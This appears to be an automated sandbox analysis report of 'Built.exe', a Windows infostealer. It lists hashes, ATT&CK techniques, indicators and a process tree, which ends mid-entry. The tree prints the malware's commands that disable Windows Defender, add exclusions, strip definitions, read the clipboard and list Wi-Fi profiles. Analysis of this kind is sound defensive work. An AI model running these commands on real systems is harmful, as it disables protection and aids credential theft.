532728294399998f9c5bcc6e8dbb864850a03e860dd2e7d675bf93c5caa4e11e

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-11-2024 07:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Built.exe
Size

6.9MB
MD5

d772e1efa7b94af9ee80dd8e9e8a85ca
SHA1

775f4af3e6d0c509dff1d1d196dec5fc9c0c3124
SHA256

532728294399998f9c5bcc6e8dbb864850a03e860dd2e7d675bf93c5caa4e11e
SHA512

74bac02d02d3eee866e1fda3a9d176070d20118418404bfb8d98d3175b3c370148e62fcc24c998dd27d992df22792348dcea3eaf63497fc2c82ed9c1b34f848e
SSDEEP

98304:q9izdbM+Q2y+aoWfjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/Bb2EJ1nL2hB0LnuS:qScOjmFQR4MVGFtwLPmnL2hqJ

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4028	powershell.exe
3724	powershell.exe
3020	powershell.exe
3960	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4376	cmd.exe
1500	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4492	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe
4980	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
27	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
3396	tasklist.exe
928	tasklist.exe
3300	tasklist.exe
4012	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023ca2-21.dat	upx
behavioral2/memory/4980-25-0x00007FFC18F10000-0x00007FFC194F9000-memory.dmp	upx
behavioral2/files/0x0007000000023c95-27.dat	upx
behavioral2/memory/4980-30-0x00007FFC2E110000-0x00007FFC2E133000-memory.dmp	upx
behavioral2/files/0x0007000000023ca0-31.dat	upx
behavioral2/memory/4980-48-0x00007FFC2E050000-0x00007FFC2E05F000-memory.dmp	upx
behavioral2/files/0x0007000000023c9c-47.dat	upx
behavioral2/files/0x0007000000023c9b-46.dat	upx
behavioral2/files/0x0007000000023c9a-45.dat	upx
behavioral2/files/0x0007000000023c99-44.dat	upx
behavioral2/files/0x0007000000023c98-43.dat	upx
behavioral2/files/0x0007000000023c97-42.dat	upx
behavioral2/files/0x0007000000023c96-41.dat	upx
behavioral2/files/0x0007000000023c94-40.dat	upx
behavioral2/files/0x0007000000023ca7-39.dat	upx
behavioral2/files/0x0007000000023ca6-38.dat	upx
behavioral2/files/0x0007000000023ca5-37.dat	upx
behavioral2/files/0x0007000000023ca1-34.dat	upx
behavioral2/files/0x0007000000023c9f-33.dat	upx
behavioral2/memory/4980-58-0x00007FFC28350000-0x00007FFC28373000-memory.dmp	upx
behavioral2/memory/4980-57-0x00007FFC28410000-0x00007FFC28429000-memory.dmp	upx
behavioral2/memory/4980-60-0x00007FFC27510000-0x00007FFC27680000-memory.dmp	upx
behavioral2/memory/4980-55-0x00007FFC28430000-0x00007FFC2845D000-memory.dmp	upx
behavioral2/memory/4980-62-0x00007FFC28330000-0x00007FFC28349000-memory.dmp	upx
behavioral2/memory/4980-64-0x00007FFC2B990000-0x00007FFC2B99D000-memory.dmp	upx
behavioral2/memory/4980-71-0x00007FFC18720000-0x00007FFC18A99000-memory.dmp	upx
behavioral2/memory/4980-73-0x00007FFC18AA0000-0x00007FFC18B58000-memory.dmp	upx
behavioral2/memory/4980-75-0x00007FFC28310000-0x00007FFC28324000-memory.dmp	upx
behavioral2/memory/4980-78-0x00007FFC281E0000-0x00007FFC281ED000-memory.dmp	upx
behavioral2/memory/4980-77-0x00007FFC2E110000-0x00007FFC2E133000-memory.dmp	upx
behavioral2/memory/4980-80-0x00007FFC18600000-0x00007FFC1871C000-memory.dmp	upx
behavioral2/memory/4980-70-0x00007FFC281F0000-0x00007FFC2821E000-memory.dmp	upx
behavioral2/memory/4980-69-0x00007FFC18F10000-0x00007FFC194F9000-memory.dmp	upx
behavioral2/memory/4980-105-0x00007FFC28350000-0x00007FFC28373000-memory.dmp	upx
behavioral2/memory/4980-178-0x00007FFC28330000-0x00007FFC28349000-memory.dmp	upx
behavioral2/memory/4980-267-0x00007FFC281F0000-0x00007FFC2821E000-memory.dmp	upx
behavioral2/memory/4980-268-0x00007FFC18720000-0x00007FFC18A99000-memory.dmp	upx
behavioral2/memory/4980-272-0x00007FFC18AA0000-0x00007FFC18B58000-memory.dmp	upx
behavioral2/memory/4980-275-0x00007FFC2E110000-0x00007FFC2E133000-memory.dmp	upx
behavioral2/memory/4980-280-0x00007FFC27510000-0x00007FFC27680000-memory.dmp	upx
behavioral2/memory/4980-274-0x00007FFC18F10000-0x00007FFC194F9000-memory.dmp	upx
behavioral2/memory/4980-325-0x00007FFC18F10000-0x00007FFC194F9000-memory.dmp	upx
behavioral2/memory/4980-413-0x00007FFC28410000-0x00007FFC28429000-memory.dmp	upx
behavioral2/memory/4980-423-0x00007FFC18720000-0x00007FFC18A99000-memory.dmp	upx
behavioral2/memory/4980-422-0x00007FFC281F0000-0x00007FFC2821E000-memory.dmp	upx
behavioral2/memory/4980-421-0x00007FFC2B990000-0x00007FFC2B99D000-memory.dmp	upx
behavioral2/memory/4980-420-0x00007FFC28330000-0x00007FFC28349000-memory.dmp	upx
behavioral2/memory/4980-419-0x00007FFC27510000-0x00007FFC27680000-memory.dmp	upx
behavioral2/memory/4980-418-0x00007FFC18AA0000-0x00007FFC18B58000-memory.dmp	upx
behavioral2/memory/4980-417-0x00007FFC28350000-0x00007FFC28373000-memory.dmp	upx
behavioral2/memory/4980-416-0x00007FFC28430000-0x00007FFC2845D000-memory.dmp	upx
behavioral2/memory/4980-415-0x00007FFC2E050000-0x00007FFC2E05F000-memory.dmp	upx
behavioral2/memory/4980-414-0x00007FFC2E110000-0x00007FFC2E133000-memory.dmp	upx
behavioral2/memory/4980-425-0x00007FFC28310000-0x00007FFC28324000-memory.dmp	upx
behavioral2/memory/4980-427-0x00007FFC18600000-0x00007FFC1871C000-memory.dmp	upx
behavioral2/memory/4980-426-0x00007FFC281E0000-0x00007FFC281ED000-memory.dmp	upx
behavioral2/memory/4980-424-0x00007FFC18F10000-0x00007FFC194F9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
972	cmd.exe
3320	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3148	WMIC.exe
1672	WMIC.exe
1476	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1824	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4028	powershell.exe
3020	powershell.exe
3020	powershell.exe
4028	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
3960	powershell.exe
3960	powershell.exe
1276	powershell.exe
1276	powershell.exe
3724	powershell.exe
3724	powershell.exe
1356	powershell.exe
1356	powershell.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	tasklist.exe
Token: SeIncreaseQuotaPrivilege	436	WMIC.exe
Token: SeSecurityPrivilege	436	WMIC.exe
Token: SeTakeOwnershipPrivilege	436	WMIC.exe
Token: SeLoadDriverPrivilege	436	WMIC.exe
Token: SeSystemProfilePrivilege	436	WMIC.exe
Token: SeSystemtimePrivilege	436	WMIC.exe
Token: SeProfSingleProcessPrivilege	436	WMIC.exe
Token: SeIncBasePriorityPrivilege	436	WMIC.exe
Token: SeCreatePagefilePrivilege	436	WMIC.exe
Token: SeBackupPrivilege	436	WMIC.exe
Token: SeRestorePrivilege	436	WMIC.exe
Token: SeShutdownPrivilege	436	WMIC.exe
Token: SeDebugPrivilege	436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	436	WMIC.exe
Token: SeRemoteShutdownPrivilege	436	WMIC.exe
Token: SeUndockPrivilege	436	WMIC.exe
Token: SeManageVolumePrivilege	436	WMIC.exe
Token: 33	436	WMIC.exe
Token: 34	436	WMIC.exe
Token: 35	436	WMIC.exe
Token: 36	436	WMIC.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	WMIC.exe
Token: SeSecurityPrivilege	436	WMIC.exe
Token: SeTakeOwnershipPrivilege	436	WMIC.exe
Token: SeLoadDriverPrivilege	436	WMIC.exe
Token: SeSystemProfilePrivilege	436	WMIC.exe
Token: SeSystemtimePrivilege	436	WMIC.exe
Token: SeProfSingleProcessPrivilege	436	WMIC.exe
Token: SeIncBasePriorityPrivilege	436	WMIC.exe
Token: SeCreatePagefilePrivilege	436	WMIC.exe
Token: SeBackupPrivilege	436	WMIC.exe
Token: SeRestorePrivilege	436	WMIC.exe
Token: SeShutdownPrivilege	436	WMIC.exe
Token: SeDebugPrivilege	436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	436	WMIC.exe
Token: SeRemoteShutdownPrivilege	436	WMIC.exe
Token: SeUndockPrivilege	436	WMIC.exe
Token: SeManageVolumePrivilege	436	WMIC.exe
Token: 33	436	WMIC.exe
Token: 34	436	WMIC.exe
Token: 35	436	WMIC.exe
Token: 36	436	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3148	WMIC.exe
Token: SeSecurityPrivilege	3148	WMIC.exe
Token: SeTakeOwnershipPrivilege	3148	WMIC.exe
Token: SeLoadDriverPrivilege	3148	WMIC.exe
Token: SeSystemProfilePrivilege	3148	WMIC.exe
Token: SeSystemtimePrivilege	3148	WMIC.exe
Token: SeProfSingleProcessPrivilege	3148	WMIC.exe
Token: SeIncBasePriorityPrivilege	3148	WMIC.exe
Token: SeCreatePagefilePrivilege	3148	WMIC.exe
Token: SeBackupPrivilege	3148	WMIC.exe
Token: SeRestorePrivilege	3148	WMIC.exe
Token: SeShutdownPrivilege	3148	WMIC.exe
Token: SeDebugPrivilege	3148	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3148	WMIC.exe
Token: SeRemoteShutdownPrivilege	3148	WMIC.exe
Token: SeUndockPrivilege	3148	WMIC.exe
Token: SeManageVolumePrivilege	3148	WMIC.exe
Token: 33	3148	WMIC.exe
Token: 34	3148	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe
1296	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 4980	3476	Built.exe	83
PID 3476 wrote to memory of 4980	3476	Built.exe	83
PID 4980 wrote to memory of 212	4980	Built.exe	84
PID 4980 wrote to memory of 212	4980	Built.exe	84
PID 4980 wrote to memory of 3384	4980	Built.exe	85
PID 4980 wrote to memory of 3384	4980	Built.exe	85
PID 4980 wrote to memory of 4260	4980	Built.exe	88
PID 4980 wrote to memory of 4260	4980	Built.exe	88
PID 4980 wrote to memory of 4100	4980	Built.exe	90
PID 4980 wrote to memory of 4100	4980	Built.exe	90
PID 4260 wrote to memory of 3396	4260	cmd.exe	92
PID 4260 wrote to memory of 3396	4260	cmd.exe	92
PID 4100 wrote to memory of 436	4100	cmd.exe	93
PID 4100 wrote to memory of 436	4100	cmd.exe	93
PID 212 wrote to memory of 4028	212	cmd.exe	94
PID 212 wrote to memory of 4028	212	cmd.exe	94
PID 3384 wrote to memory of 3020	3384	cmd.exe	96
PID 3384 wrote to memory of 3020	3384	cmd.exe	96
PID 4980 wrote to memory of 3840	4980	Built.exe	97
PID 4980 wrote to memory of 3840	4980	Built.exe	97
PID 3840 wrote to memory of 1960	3840	cmd.exe	99
PID 3840 wrote to memory of 1960	3840	cmd.exe	99
PID 4980 wrote to memory of 1904	4980	Built.exe	100
PID 4980 wrote to memory of 1904	4980	Built.exe	100
PID 1904 wrote to memory of 1600	1904	cmd.exe	102
PID 1904 wrote to memory of 1600	1904	cmd.exe	102
PID 4980 wrote to memory of 1952	4980	Built.exe	103
PID 4980 wrote to memory of 1952	4980	Built.exe	103
PID 1952 wrote to memory of 3148	1952	cmd.exe	105
PID 1952 wrote to memory of 3148	1952	cmd.exe	105
PID 4980 wrote to memory of 3788	4980	Built.exe	106
PID 4980 wrote to memory of 3788	4980	Built.exe	106
PID 3788 wrote to memory of 1672	3788	cmd.exe	108
PID 3788 wrote to memory of 1672	3788	cmd.exe	108
PID 4980 wrote to memory of 1688	4980	Built.exe	111
PID 4980 wrote to memory of 1688	4980	Built.exe	111
PID 4980 wrote to memory of 4804	4980	Built.exe	112
PID 4980 wrote to memory of 4804	4980	Built.exe	112
PID 1688 wrote to memory of 928	1688	cmd.exe	116
PID 1688 wrote to memory of 928	1688	cmd.exe	116
PID 4804 wrote to memory of 3300	4804	cmd.exe	117
PID 4804 wrote to memory of 3300	4804	cmd.exe	117
PID 4980 wrote to memory of 2976	4980	Built.exe	118
PID 4980 wrote to memory of 2976	4980	Built.exe	118
PID 4980 wrote to memory of 4376	4980	Built.exe	120
PID 4980 wrote to memory of 4376	4980	Built.exe	120
PID 4980 wrote to memory of 4424	4980	Built.exe	122
PID 4980 wrote to memory of 4424	4980	Built.exe	122
PID 4376 wrote to memory of 1500	4376	cmd.exe	124
PID 4376 wrote to memory of 1500	4376	cmd.exe	124
PID 4424 wrote to memory of 4012	4424	cmd.exe	125
PID 4424 wrote to memory of 4012	4424	cmd.exe	125
PID 4980 wrote to memory of 1728	4980	Built.exe	126
PID 4980 wrote to memory of 1728	4980	Built.exe	126
PID 4980 wrote to memory of 972	4980	Built.exe	127
PID 4980 wrote to memory of 972	4980	Built.exe	127
PID 4980 wrote to memory of 468	4980	Built.exe	131
PID 4980 wrote to memory of 468	4980	Built.exe	131
PID 4980 wrote to memory of 1168	4980	Built.exe	133
PID 4980 wrote to memory of 1168	4980	Built.exe	133
PID 1728 wrote to memory of 836	1728	cmd.exe	135
PID 1728 wrote to memory of 836	1728	cmd.exe	135
PID 972 wrote to memory of 3320	972	cmd.exe	136
PID 972 wrote to memory of 3320	972	cmd.exe	136

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:2976
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:468
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1824
- - C:\Windows\system32\cmd.exe
